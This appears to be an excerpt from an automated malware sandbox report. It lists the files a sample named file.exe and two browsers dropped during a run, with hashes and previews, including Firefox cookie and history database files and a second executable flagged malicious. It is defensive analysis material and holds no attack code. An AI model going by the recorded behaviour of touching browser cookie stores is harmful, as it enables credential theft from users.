Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 25 12:14:20 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9755739318473227
Encrypted:	false
SSDEEP:	48:8ndqiTKOrsHNidAKZdA19ehwiZUklqehey+3:8FTexy
MD5:	5C5A4C9AD6E4FDB01484EA6FB26AB553
SHA1:	AC19714FD91FF73450D7AE2F27A5E8DDC580BA0C
SHA-256:	DB8B9494C5E456760ED4B04E3AC1C77227CE5CC6066514A6925E10EB797210BE
SHA-512:	07709C9A65D1290DEE501C686F637486841818748EBE4091FDF88E941DDEBC3145D2CDF163E52D26EA76FF93EDDF29CEA393F941E489DA8588596788566A454F
Malicious:	false
Preview:	L..................F.@.. ...$+.,....{...;?..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IyY.i....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VyY.i....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VyY.i....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VyY.i..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VyY.i...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............>.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 25 12:14:20 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.987593221932238
Encrypted:	false
SSDEEP:	48:87dqiTKOrsHNidAKZdA1weh/iZUkAQkqehhy+2:8JT89Qcy
MD5:	60271737511B4EF68AE653D9989C9DB5
SHA1:	5391364A3B4F86162C7DA138900AE6C689E178D6
SHA-256:	11020269B89C51C8F001016F35AEE116D0A7E017CF825DDB3458130DCDA889E4
SHA-512:	5AB97EB1A9D9B3BFE7AD1D414D776AF53FAA198BCF0B62AEF22E3ADAD85CCDEFA049F4A6911451B0FFC976BA5E37FB853E055E6A51643B7133DE4C51A0DDF362
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....c..;?..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IyY.i....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VyY.i....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VyY.i....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VyY.i..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VyY.i...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............>.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.00221546243596
Encrypted:	false
SSDEEP:	48:8xcdqiTKOrsHNidAKZdA14tseh7sFiZUkmgqeh7sXy+BX:8xcTUnNy
MD5:	ACF6604B760EBF58506065A4DB089DAB
SHA1:	504E96794DBC4A3522E948C728EB864582AB43EF
SHA-256:	F21431ADBE2948ABDD37AE5969E5A12A67754499462DE702E0AF3FB1647FFFE7
SHA-512:	381FDD3FDA4CAA0F4283BCB9C0F41B2970C2EF36F6BAB025FF166F6D76DF7B19899E4D5FEB60B73B8389BF5AC0CCC4A1EF6CD7D8BF6B2A2A5477AA2181059EB3
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IyY.i....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VyY.i....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VyY.i....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VyY.i..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............>.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 25 12:14:20 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9895193693131024
Encrypted:	false
SSDEEP:	48:89dqiTKOrsHNidAKZdA1vehDiZUkwqehly+R:8DTHPy
MD5:	58D0CB4700D35CC3B5E81A0A94CCB06E
SHA1:	9307ED17187A5B2A30180252598705B325BAC65E
SHA-256:	3BC94EEF45122D4B4D363E1D1BE2D582BF200DFE29E356F5C821FC659DF468C7
SHA-512:	06BDA4A1983605D2FA45A0B6BF7F5A41230BFC0619657B181B68D8FA68709C8C05090F9B51AE625549D4E1E0BB4A83F0B9F82E87C95077E2C273DFDAE1804C33
Malicious:	false
Preview:	L..................F.@.. ...$+.,........;?..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IyY.i....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VyY.i....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VyY.i....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VyY.i..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VyY.i...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............>.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 25 12:14:20 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9789804014898253
Encrypted:	false
SSDEEP:	48:8NdqiTKOrsHNidAKZdA1hehBiZUk1W1qehzy+C:8TT39Ty
MD5:	1861C2DB907F7DFA8B489EC6F58893D5
SHA1:	9BF819A703D312121A0D59553483B7657D1FC6EA
SHA-256:	D8AB0CAE70B0F29B0D7E1CB242ACF6454F3BDFD4594D5CB657D52BA567D06C92
SHA-512:	6D4ECF4DB658A7A37D7CA621E183FD3C8A1E705F979770D624176CBFCAB45CBB2F1C7796A81E33E2EF7129FF121EAF0A1DC2B0C8014C3F2459AEA6466EA0778A
Malicious:	false
Preview:	L..................F.@.. ...$+.,........;?..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IyY.i....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VyY.i....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VyY.i....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VyY.i..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VyY.i...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............>.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 25 12:14:19 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9875068214740956
Encrypted:	false
SSDEEP:	48:8NdqiTKOrsHNidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbNy+yT+:8TT/T/TbxWOvTbNy7T
MD5:	B6BCD23027FCD0D478BBA7785CECDB7E
SHA1:	817BF8AED9415A38912CEAAEE25496109FFB9E00
SHA-256:	12AF8277E7D4DE8E58DBF849FBE5BEDDE6EC5AFF1F5283D217AE029A65094F45
SHA-512:	4EFD2920A19E30506F54D68826F0F85F8FB7F93235ABCA2A43DEB08FFA98C2C5E3F68681AD598DC7F7783FAA388A2BC033AE8CB90E10A7873D9FF4FA61BB4E60
Malicious:	false
Preview:	L..................F.@.. ...$+.,....+/..;?..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IyY.i....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VyY.i....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VyY.i....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VyY.i..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VyY.i...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............>.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsBKKKFCFIIJ.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1845248
Entropy (8bit):	7.949141316732365
Encrypted:	false
SSDEEP:	24576:tAvr5zkWQHSF6UZXz/Pym6xet0I6HUpAgzQoGM+NDL0mPhcaK9Uj02cC:tAD1kWcUx/PyBIfpAGQoExca11cC
MD5:	DDC85728E0670438B6AA74BD2C9C461B
SHA1:	EE91A95010FE03AE7B104859E5B69FFBCD667C3B
SHA-256:	A753979F89DEBE5427241B085CFA4462B5EF7BCF502106F91165E67DDF9D5828
SHA-512:	6164C7B16C89199A3C34E62D5976F9673581A9BC754EA6A3C03BFC497D1192752A1A4EAC1192BF86281E0EC681386E777F111244FF58C43497F0CE78E0B6A70C
Malicious:	true
